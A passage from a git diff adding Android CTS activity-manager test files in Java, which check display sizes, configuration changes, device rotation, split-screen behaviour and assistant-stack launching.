+        for (String line : getDeviceLogsForComponent("ActivityManager", logSeparator)) {
+            line = line.trim();
+
+            Matcher matcher = sDisplayTimePattern.matcher(line);
+            if (matcher.matches()) {
+                activityName = matcher.group(2);
+                // Ignore activitiy displays from other packages, we don't
+                // want some random activity starts to ruin our test.
+                if (!activityName.startsWith("android.server.am")) {
+                    continue;
+                }
+                if (!shouldStart) {
+                    fail("Shouldn't display anything but displayed " + activityName);
+                }
+                displayCount++;
+            }
+        }
+        final String expectedActivityName = getActivityComponentName(actualActivityName);
+        if (shouldStart) {
+            if (displayCount != 1) {
+                fail("Should display exactly one activity but displayed " + displayCount);
+            } else if (!expectedActivityName.equals(activityName)) {
+                fail("Should display " + expectedActivityName +
+                        " but displayed " + activityName);
+            }
+        }
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
new file mode 100644
index 0000000..e382587
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAppConfigurationTests.java
@@ -0,0 +1,638 @@
+/*
+ * Copyright (C) 2016 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not
+ * use this file except in compliance with the License. You may obtain a copy of
+ * the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
+ * WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
+ * License for the specific language governing permissions and limitations under
+ * the License.
+ */
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY;
+import static android.server.am.ActivityAndWindowManagersState.dpToPx;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+import static android.server.am.StateLogger.log;
+import static android.server.am.StateLogger.logE;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertNotNull;
+import static org.junit.Assert.assertTrue;
+
+import android.graphics.Rect;
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+import java.util.ArrayList;
+import java.util.List;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAppConfigurationTests
+ */
+public class ActivityManagerAppConfigurationTests extends ActivityManagerTestBase {
+    private static final String RESIZEABLE_ACTIVITY_NAME = "ResizeableActivity";
+    private static final String TEST_ACTIVITY_NAME = "TestActivity";
+    private static final String PORTRAIT_ACTIVITY_NAME = "PortraitOrientationActivity";
+    private static final String LANDSCAPE_ACTIVITY_NAME = "LandscapeOrientationActivity";
+    private static final String NIGHT_MODE_ACTIVITY = "NightModeActivity";
+    private static final String DIALOG_WHEN_LARGE_ACTIVITY = "DialogWhenLargeActivity";
+
+    private static final String TRANSLUCENT_ACTIVITY =
+            "android.server.translucentapp.TranslucentLandscapeActivity";
+    private static final String TRANSLUCENT_SDK_26_PACKAGE = "android.server.translucentapp26";
+
+    private static final String TRANSLUCENT_CURRENT_PACKAGE = "android.server.translucentapp";
+
+    private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+
+    private static final int SMALL_WIDTH_DP = 426;
+    private static final int SMALL_HEIGHT_DP = 320;
+
+    /**
+     * Tests that the WindowManager#getDefaultDisplay() and the Configuration of the Activity
+     * has an updated size when the Activity is resized from fullscreen to docked state.
+     *
+     * The Activity handles configuration changes, so it will not be restarted between resizes.
+     * On Configuration changes, the Activity logs the Display size and Configuration width
+     * and heights. The values reported in fullscreen should be larger than those reported in
+     * docked state.
+     */
+    @Test
+    public void testConfigurationUpdatesWhenResizedFromFullscreen() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        String logSeparator = clearLogcat();
+        launchActivity(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        assertSizesAreSane(fullscreenSizes, dockedSizes);
+    }
+
+    /**
+     * Same as {@link #testConfigurationUpdatesWhenResizedFromFullscreen()} but resizing
+     * from docked state to fullscreen (reverse).
+     */
+    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+    @Test
+    public void testConfigurationUpdatesWhenResizedFromDockedStack() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        String logSeparator = clearLogcat();
+        launchActivity(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final ReportedSizes dockedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(RESIZEABLE_ACTIVITY_NAME, WINDOWING_MODE_FULLSCREEN);
+        final ReportedSizes fullscreenSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        assertSizesAreSane(fullscreenSizes, dockedSizes);
+    }
+
+    /**
+     * Tests whether the Display sizes change when rotating the device.
+     */
+    @Test
+    public void testConfigurationUpdatesWhenRotatingWhileFullscreen() throws Exception {
+        if (!supportsRotation()) {
+            log("Skipping test: no rotation support");
+            return;
+        }
+        setDeviceRotation(0);
+        final String logSeparator = clearLogcat();
+        launchActivity(RESIZEABLE_ACTIVITY_NAME,
+                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        rotateAndCheckSizes(initialSizes);
+    }
+
+    /**
+     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileFullscreen()} but when the Activity
+     * is in the docked stack.
+     */
+    // TODO: Flaky, add to presubmit when b/63404575 is fixed.
+    @Test
+    public void testConfigurationUpdatesWhenRotatingWhileDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        setDeviceRotation(0);
+        final String logSeparator = clearLogcat();
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+        // Launch our own activity to side in case Recents (or other activity to side) doesn't
+        // support rotation.
+        getLaunchActivityBuilder().setToSide(true).setTargetActivityName(TEST_ACTIVITY_NAME)
+                .execute();
+        // Launch target activity in docked stack.
+        getLaunchActivityBuilder().setTargetActivityName(RESIZEABLE_ACTIVITY_NAME).execute();
+        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        rotateAndCheckSizes(initialSizes);
+    }
+
+    /**
+     * Same as {@link #testConfigurationUpdatesWhenRotatingWhileDocked()} but when the Activity
+     * is launched to side from docked stack.
+     */
+    @Test
+    public void testConfigurationUpdatesWhenRotatingToSideFromDocked() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        setDeviceRotation(0);
+
+        final String logSeparator = clearLogcat();
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
+        getLaunchActivityBuilder().setToSide(true).setTargetActivityName(RESIZEABLE_ACTIVITY_NAME)
+                .execute();
+        final ReportedSizes initialSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                logSeparator);
+
+        rotateAndCheckSizes(initialSizes);
+    }
+
+    private void rotateAndCheckSizes(ReportedSizes prevSizes) throws Exception {
+        for (int rotation = 3; rotation >= 0; --rotation) {
+            final String logSeparator = clearLogcat();
+            final int actualStackId = mAmWmState.getAmState().getTaskByActivityName(
+                    RESIZEABLE_ACTIVITY_NAME).mStackId;
+            final int displayId = mAmWmState.getAmState().getStackById(actualStackId).mDisplayId;
+            setDeviceRotation(rotation);
+            final int newDeviceRotation = getDeviceRotation(displayId);
+            if (newDeviceRotation == INVALID_DEVICE_ROTATION) {
+                logE("Got an invalid device rotation value. "
+                        + "Continuing the test despite of that, but it is likely to fail.");
+            } else if (rotation != newDeviceRotation) {
+                log("This device doesn't support locked user "
+                        + "rotation mode. Not continuing the rotation checks.");
+                return;
+            }
+
+            final ReportedSizes rotatedSizes = getActivityDisplaySize(RESIZEABLE_ACTIVITY_NAME,
+                    logSeparator);
+            assertSizesRotate(prevSizes, rotatedSizes);
+            prevSizes = rotatedSizes;
+        }
+    }
+
+    /**
+     * Tests when activity moved from fullscreen stack to docked and back. Activity will be
+     * relaunched twice and it should have same config as initial one.
+     */
+    @Test
+    public void testSameConfigurationFullSplitFullRelaunch() throws Exception {
+        moveActivityFullSplitFull(TEST_ACTIVITY_NAME);
+    }
+
+    /**
+     * Same as {@link #testSameConfigurationFullSplitFullRelaunch} but without relaunch.
+     */
+    @Presubmit
+    @Test
+    public void testSameConfigurationFullSplitFullNoRelaunch() throws Exception {
+        moveActivityFullSplitFull(RESIZEABLE_ACTIVITY_NAME);
+    }
+
+    /**
+     * Launches activity in fullscreen stack, moves to docked stack and back to fullscreen stack.
+     * Last operation is done in a way which simulates split-screen divider movement maximizing
+     * docked stack size and then moving task to fullscreen stack - the same way it is done when
+     * user long-presses overview/recents button to exit split-screen.
+     * Asserts that initial and final reported sizes in fullscreen stack are the same.
+     */
+    private void moveActivityFullSplitFull(String activityName) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        // Launch to fullscreen stack and record size.
+        String logSeparator = clearLogcat();
+        launchActivity(activityName, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        final ReportedSizes initialFullscreenSizes = getActivityDisplaySize(activityName,
+                logSeparator);
+        final Rect displayRect = getDisplayRect(activityName);
+
+        // Move to docked stack.
+        logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final ReportedSizes dockedSizes = getActivityDisplaySize(activityName, logSeparator);
+        assertSizesAreSane(initialFullscreenSizes, dockedSizes);
+        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(activityName).build());
+        final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
+                .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+
+        // Resize docked stack to fullscreen size. This will trigger activity relaunch with
+        // non-empty override configuration corresponding to fullscreen size.
+        logSeparator = clearLogcat();
+        mAm.resizeStack(stack.mStackId, displayRect);
+
+        // Move activity back to fullscreen stack.
+        setActivityTaskWindowingMode(activityName,
+                WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        final ReportedSizes finalFullscreenSizes = getActivityDisplaySize(activityName,
+                logSeparator);
+
+        // After activity configuration was changed twice it must report same size as original one.
+        assertSizesAreSame(initialFullscreenSizes, finalFullscreenSizes);
+    }
+
+    /**
+     * Tests when activity moved from docked stack to fullscreen and back. Activity will be
+     * relaunched twice and it should have same config as initial one.
+     */
+    @Test
+    public void testSameConfigurationSplitFullSplitRelaunch() throws Exception {
+        moveActivitySplitFullSplit(TEST_ACTIVITY_NAME);
+    }
+
+    /**
+     * Same as {@link #testSameConfigurationSplitFullSplitRelaunch} but without relaunch.
+     */
+    @Test
+    public void testSameConfigurationSplitFullSplitNoRelaunch() throws Exception {
+        moveActivitySplitFullSplit(RESIZEABLE_ACTIVITY_NAME);
+    }
+
+    /**
+     * Tests that an activity with the DialogWhenLarge theme can transform properly when in split
+     * screen.
+     */
+    @Presubmit
+    @Test
+    public void testDialogWhenLargeSplitSmall() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        launchActivity(DIALOG_WHEN_LARGE_ACTIVITY, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final ActivityManagerState.ActivityStack stack = mAmWmState.getAmState()
+                .getStandardStackByWindowingMode(WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final WindowManagerState.Display display =
+                mAmWmState.getWmState().getDisplay(stack.mDisplayId);
+        final int density = display.getDpi();
+        final int smallWidthPx = dpToPx(SMALL_WIDTH_DP, density);
+        final int smallHeightPx = dpToPx(SMALL_HEIGHT_DP, density);
+
+        mAm.resizeStack(stack.mStackId, new Rect(0, 0, smallWidthPx, smallHeightPx));
+        mAmWmState.waitForValidState(DIALOG_WHEN_LARGE_ACTIVITY,
+                WINDOWING_MODE_SPLIT_SCREEN_PRIMARY, ACTIVITY_TYPE_STANDARD);
+    }
+
+    /**
+     * Test that device handles consequent requested orientations and displays the activities.
+     */
+    @Presubmit
+    @Test
+    public void testFullscreenAppOrientationRequests() throws Exception {
+        launchActivity(PORTRAIT_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested portrait orientation",
+                1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
+
+        launchActivity(LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        launchActivity(PORTRAIT_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(PORTRAIT_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested portrait orientation",
+                1 /* portrait */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    public void testNonfullscreenAppOrientationRequests() throws Exception {
+        String logSeparator = clearLogcat();
+        launchActivity(PORTRAIT_ACTIVITY_NAME);
+        final ReportedSizes initialReportedSizes =
+                getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
+        assertEquals("portrait activity should be in portrait",
+                1 /* portrait */, initialReportedSizes.orientation);
+        logSeparator = clearLogcat();
+
+        launchActivityInComponent(TRANSLUCENT_SDK_26_PACKAGE, TRANSLUCENT_ACTIVITY);
+        assertEquals("Legacy non-fullscreen activity requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        // TODO(b/36897968): uncomment once we can suppress unsupported configurations
+        // final ReportedSizes updatedReportedSizes =
+        //      getLastReportedSizesForActivity(PORTRAIT_ACTIVITY_NAME, logSeparator);
+        // assertEquals("portrait activity should not have moved from portrait",
+        //         1 /* portrait */, updatedReportedSizes.orientation);
+    }
+
+    public void testNonFullscreenActivityProhibited() throws Exception {
+        setComponentName(TRANSLUCENT_CURRENT_PACKAGE);
+
+        // We do not wait for the activity as it should not launch based on the restrictions around
+        // specifying orientation. We instead start an activity known to launch immediately after
+        // so that we can ensure processing the first activity occurred.
+        launchActivityNoWait(TRANSLUCENT_ACTIVITY);
+        setDefaultComponentName();
+        launchActivity(PORTRAIT_ACTIVITY_NAME);
+
+        assertFalse("target SDK > 26 non-fullscreen activity should not reach onResume",
+                mAmWmState.getAmState().containsActivity(
+                        ActivityManagerTestBase.getActivityComponentName(
+                                TRANSLUCENT_ACTIVITY, TRANSLUCENT_ACTIVITY)));
+    }
+    public void testNonFullscreenActivityPermitted() throws Exception {
+        setComponentName(TRANSLUCENT_SDK_26_PACKAGE);
+        setDeviceRotation(0);
+
+        launchActivity(TRANSLUCENT_ACTIVITY);
+        mAmWmState.assertResumedActivity(
+                "target SDK <= 26 non-fullscreen activity should be allowed to launch",
+                TRANSLUCENT_ACTIVITY);
+        assertEquals("non-fullscreen activity requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    /**
+     * Test that device handles moving between two tasks with different orientations.
+     */
+    @Test
+    public void testTaskCloseRestoreOrientation() throws Exception {
+        // Start landscape activity.
+        launchActivity(LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        // Start another activity in a different task.
+        launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+
+        // Request portrait
+        executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
+        mAmWmState.waitForRotation(1);
+
+        // Finish activity
+        executeShellCommand(FINISH_ACTIVITY_BROADCAST);
+
+        // Verify that activity brought to front is in originally requested orientation.
+        mAmWmState.computeState(
+            new WaitForValidActivityState.Builder(LANDSCAPE_ACTIVITY_NAME).build());
+        assertEquals("Should return to app in landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    /**
+     * Test that device handles moving between two tasks with different orientations.
+     */
+    @Presubmit
+    @Test
+    public void testTaskMoveToBackOrientation() throws Exception {
+        // Start landscape activity.
+        launchActivity(LANDSCAPE_ACTIVITY_NAME);
+        mAmWmState.assertVisibility(LANDSCAPE_ACTIVITY_NAME, true /* visible */);
+        assertEquals("Fullscreen app requested landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+
+        // Start another activity in a different task.
+        launchActivityInNewTask(BROADCAST_RECEIVER_ACTIVITY);
+
+        // Request portrait
+        executeShellCommand(getOrientationBroadcast(1 /*portrait*/));
+        mAmWmState.waitForRotation(1);
+
+        // Finish activity
+        executeShellCommand(MOVE_TASK_TO_BACK_BROADCAST);
+
+        // Verify that activity brought to front is in originally requested orientation.
+        mAmWmState.waitForValidState(LANDSCAPE_ACTIVITY_NAME);
+        assertEquals("Should return to app in landscape orientation",
+                0 /* landscape */, mAmWmState.getWmState().getLastOrientation());
+    }
+
+    /**
+     * Test that device doesn't change device orientation by app request while in multi-window.
+     */
+    @Test
+    public void testSplitscreenPortraitAppOrientationRequests() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+          log("Skipping test: no multi-window support");
+          return;
+        }
+        requestOrientationInSplitScreen(1 /* portrait */, LANDSCAPE_ACTIVITY_NAME);
+    }
+
+    /**
+     * Test that device doesn't change device orientation by app request while in multi-window.
+     */
+    @Test
+    public void testSplitscreenLandscapeAppOrientationRequests() throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+          log("Skipping test: no multi-window support");
+          return;
+        }
+        requestOrientationInSplitScreen(0 /* landscape */, PORTRAIT_ACTIVITY_NAME);
+    }
+
+    /**
+     * Rotate the device and launch specified activity in split-screen, checking if orientation
+     * didn't change.
+     */
+    private void requestOrientationInSplitScreen(int orientation, String activity)
+            throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        // Set initial orientation.
+        setDeviceRotation(orientation);
+
+        // Launch activities that request orientations and check that device doesn't rotate.
+        launchActivityInDockStack(LAUNCHING_ACTIVITY);
+
+        getLaunchActivityBuilder().setToSide(true).setMultipleTask(true)
+                .setTargetActivityName(activity).execute();
+        mAmWmState.computeState(new String[] {activity});
+        mAmWmState.assertVisibility(activity, true /* visible */);
+        assertEquals("Split-screen apps shouldn't influence device orientation",
+                orientation, mAmWmState.getWmState().getRotation());
+
+        getLaunchActivityBuilder().setMultipleTask(true).setTargetActivityName(activity).execute();
+        mAmWmState.computeState(new String[] {activity});
+        mAmWmState.assertVisibility(activity, true /* visible */);
+        assertEquals("Split-screen apps shouldn't influence device orientation",
+                orientation, mAmWmState.getWmState().getRotation());
+    }
+
+    /**
+     * Launches activity in docked stack, moves to fullscreen stack and back to docked stack.
+     * Asserts that initial and final reported sizes in docked stack are the same.
+     */
+    private void moveActivitySplitFullSplit(String activityName) throws Exception {
+        if (!supportsSplitScreenMultiWindow()) {
+            log("Skipping test: no multi-window support");
+            return;
+        }
+
+        // Launch to docked stack and record size.
+        String logSeparator = clearLogcat();
+        launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final ReportedSizes initialDockedSizes = getActivityDisplaySize(activityName, logSeparator);
+        // Make sure docked stack is focused. This way when we dismiss it later fullscreen stack
+        // will come up.
+        launchActivity(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(activityName).build());
+
+        // Move to fullscreen stack.
+        logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(
+                activityName, WINDOWING_MODE_FULLSCREEN_OR_SPLIT_SCREEN_SECONDARY);
+        final ReportedSizes fullscreenSizes = getActivityDisplaySize(activityName, logSeparator);
+        assertSizesAreSane(fullscreenSizes, initialDockedSizes);
+
+        // Move activity back to docked stack.
+        logSeparator = clearLogcat();
+        setActivityTaskWindowingMode(activityName, WINDOWING_MODE_SPLIT_SCREEN_PRIMARY);
+        final ReportedSizes finalDockedSizes = getActivityDisplaySize(activityName, logSeparator);
+
+        // After activity configuration was changed twice it must report same size as original one.
+        assertSizesAreSame(initialDockedSizes, finalDockedSizes);
+    }
+
+    /**
+     * Asserts that after rotation, the aspect ratios of display size, metrics, and configuration
+     * have flipped.
+     */
+    private static void assertSizesRotate(ReportedSizes rotationA, ReportedSizes rotationB)
+            throws Exception {
+        assertEquals(rotationA.displayWidth, rotationA.metricsWidth);
+        assertEquals(rotationA.displayHeight, rotationA.metricsHeight);
+        assertEquals(rotationB.displayWidth, rotationB.metricsWidth);
+        assertEquals(rotationB.displayHeight, rotationB.metricsHeight);
+
+        final boolean beforePortrait = rotationA.displayWidth < rotationA.displayHeight;
+        final boolean afterPortrait = rotationB.displayWidth < rotationB.displayHeight;
+        assertFalse(beforePortrait == afterPortrait);
+
+        final boolean beforeConfigPortrait = rotationA.widthDp < rotationA.heightDp;
+        final boolean afterConfigPortrait = rotationB.widthDp < rotationB.heightDp;
+        assertEquals(beforePortrait, beforeConfigPortrait);
+        assertEquals(afterPortrait, afterConfigPortrait);
+
+        assertEquals(rotationA.smallestWidthDp, rotationB.smallestWidthDp);
+    }
+
+    /**
+     * Throws an AssertionError if fullscreenSizes has widths/heights (depending on aspect ratio)
+     * that are smaller than the dockedSizes.
+     */
+    private static void assertSizesAreSane(ReportedSizes fullscreenSizes, ReportedSizes dockedSizes)
+            throws Exception {
+        final boolean portrait = fullscreenSizes.displayWidth < fullscreenSizes.displayHeight;
+        if (portrait) {
+            assertTrue(dockedSizes.displayHeight < fullscreenSizes.displayHeight);
+            assertTrue(dockedSizes.heightDp < fullscreenSizes.heightDp);
+            assertTrue(dockedSizes.metricsHeight < fullscreenSizes.metricsHeight);
+        } else {
+            assertTrue(dockedSizes.displayWidth < fullscreenSizes.displayWidth);
+            assertTrue(dockedSizes.widthDp < fullscreenSizes.widthDp);
+            assertTrue(dockedSizes.metricsWidth < fullscreenSizes.metricsWidth);
+        }
+    }
+
+    /**
+     * Throws an AssertionError if sizes are different.
+     */
+    private static void assertSizesAreSame(ReportedSizes firstSize, ReportedSizes secondSize)
+            throws Exception {
+        assertEquals(firstSize.widthDp, secondSize.widthDp);
+        assertEquals(firstSize.heightDp, secondSize.heightDp);
+        assertEquals(firstSize.displayWidth, secondSize.displayWidth);
+        assertEquals(firstSize.displayHeight, secondSize.displayHeight);
+        assertEquals(firstSize.metricsWidth, secondSize.metricsWidth);
+        assertEquals(firstSize.metricsHeight, secondSize.metricsHeight);
+        assertEquals(firstSize.smallestWidthDp, secondSize.smallestWidthDp);
+    }
+
+    private ReportedSizes getActivityDisplaySize(String activityName, String logSeparator)
+            throws Exception {
+        mAmWmState.computeState(false /* compareTaskAndStackBounds */,
+                new WaitForValidActivityState.Builder(activityName).build());
+        final ReportedSizes details = getLastReportedSizesForActivity(activityName, logSeparator);
+        assertNotNull(details);
+        return details;
+    }
+
+    private Rect getDisplayRect(String activityName)
+            throws Exception {
+        final String windowName = getWindowName(activityName);
+
+        mAmWmState.computeState(new String[] {activityName});
+        mAmWmState.assertFocusedWindow("Test window must be the front window.", windowName);
+
+        final List<WindowManagerState.WindowState> tempWindowList = new ArrayList<>();
+        mAmWmState.getWmState().getMatchingVisibleWindowState(windowName, tempWindowList);
+
+        assertEquals("Should have exactly one window state for the activity.", 1,
+                tempWindowList.size());
+
+        WindowManagerState.WindowState windowState = tempWindowList.get(0);
+        assertNotNull("Should have a valid window", windowState);
+
+        WindowManagerState.Display display = mAmWmState.getWmState()
+                .getDisplay(windowState.getDisplayId());
+        assertNotNull("Should be on a display", display);
+
+        return display.getDisplayRect();
+    }
+
+    /**
+     * Test launching an activity which requests specific UI mode during creation.
+     */
+    @Test
+    public void testLaunchWithUiModeChange() throws Exception {
+        // Launch activity that changes UI mode and handles this configuration change.
+        launchActivity(NIGHT_MODE_ACTIVITY);
+        mAmWmState.waitForActivityState(NIGHT_MODE_ACTIVITY, STATE_RESUMED);
+
+        // Check if activity is launched successfully.
+        mAmWmState.assertVisibility(NIGHT_MODE_ACTIVITY, true /* visible */);
+        mAmWmState.assertFocusedActivity("Launched activity should be focused",
+                NIGHT_MODE_ACTIVITY);
+        mAmWmState.assertResumedActivity("Launched activity must be resumed", NIGHT_MODE_ACTIVITY);
+    }
+}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
new file mode 100644
index 0000000..4e77ed9
--- /dev/null
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAssistantStackTests.java
@@ -0,0 +1,345 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+
+package android.server.am;
+
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_STANDARD;
+import static android.app.WindowConfiguration.WINDOWING_MODE_FULLSCREEN;
+import static android.app.WindowConfiguration.WINDOWING_MODE_PINNED;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_PRIMARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_SPLIT_SCREEN_SECONDARY;
+import static android.app.WindowConfiguration.WINDOWING_MODE_UNDEFINED;
+import static android.server.am.ActivityManagerState.STATE_RESUMED;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertTrue;
+
+import android.platform.test.annotations.Presubmit;
+
+import org.junit.Test;
+
+/**
+ * Build: mmma -j32 cts/tests/framework/base
+ * Run: cts/tests/framework/base/activitymanager/util/run-test CtsActivityManagerDeviceTestCases android.server.am.ActivityManagerAssistantStackTests
+ */
+//@Presubmit b/67706642
+public class ActivityManagerAssistantStackTests extends ActivityManagerTestBase {
+
+    private static final String VOICE_INTERACTION_SERVICE = "AssistantVoiceInteractionService";
+
+    private static final String TEST_ACTIVITY = "TestActivity";
+    private static final String ANIMATION_TEST_ACTIVITY = "AnimationTestActivity";
+    private static final String DOCKED_ACTIVITY = "DockedActivity";
+    private static final String ASSISTANT_ACTIVITY = "AssistantActivity";
+    private static final String TRANSLUCENT_ASSISTANT_ACTIVITY = "TranslucentAssistantActivity";
+    private static final String LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION =
+            "LaunchAssistantActivityFromSession";
+    private static final String LAUNCH_ASSISTANT_ACTIVITY_INTO_STACK =
+            "LaunchAssistantActivityIntoAssistantStack";
+    private static final String PIP_ACTIVITY = "PipActivity";
+
+    private static final String EXTRA_ENTER_PIP = "enter_pip";
+    private static final String EXTRA_LAUNCH_NEW_TASK = "launch_new_task";
+    private static final String EXTRA_FINISH_SELF = "finish_self";
+    private static final String EXTRA_IS_TRANSLUCENT = "is_translucent";
+
+    private static final String TEST_ACTIVITY_ACTION_FINISH_SELF =
+            "android.server.am.TestActivity.finish_self";
+
+    @Test
+    @Presubmit
+    public void testLaunchingAssistantActivityIntoAssistantStack() throws Exception {
+        // Enable the assistant and launch an assistant activity
+        enableAssistant();
+        launchActivity(LAUNCH_ASSISTANT_ACTIVITY_FROM_SESSION);
+        mAmWmState.waitForValidStateWithActivityType(ASSISTANT_ACTIVITY, ACTIVITY_TYPE_ASSISTANT);
+
+        // Ensure that the activity launched in the fullscreen assistant stack
+        assertAssistantStackExists();
+        assertTrue("Expected assistant stack to be fullscreen",
+                mAmWmState.getAmState().getStackByActivityType(
+                        ACTIVITY_TYPE_ASSISTANT).isFullscreen());
+
+        disableAssistant();
+    }
+
+    // TODO(b/69573940): Add back to presubmit
+    @Test
+    public void testAssistantStackZOrder() throws Exception {
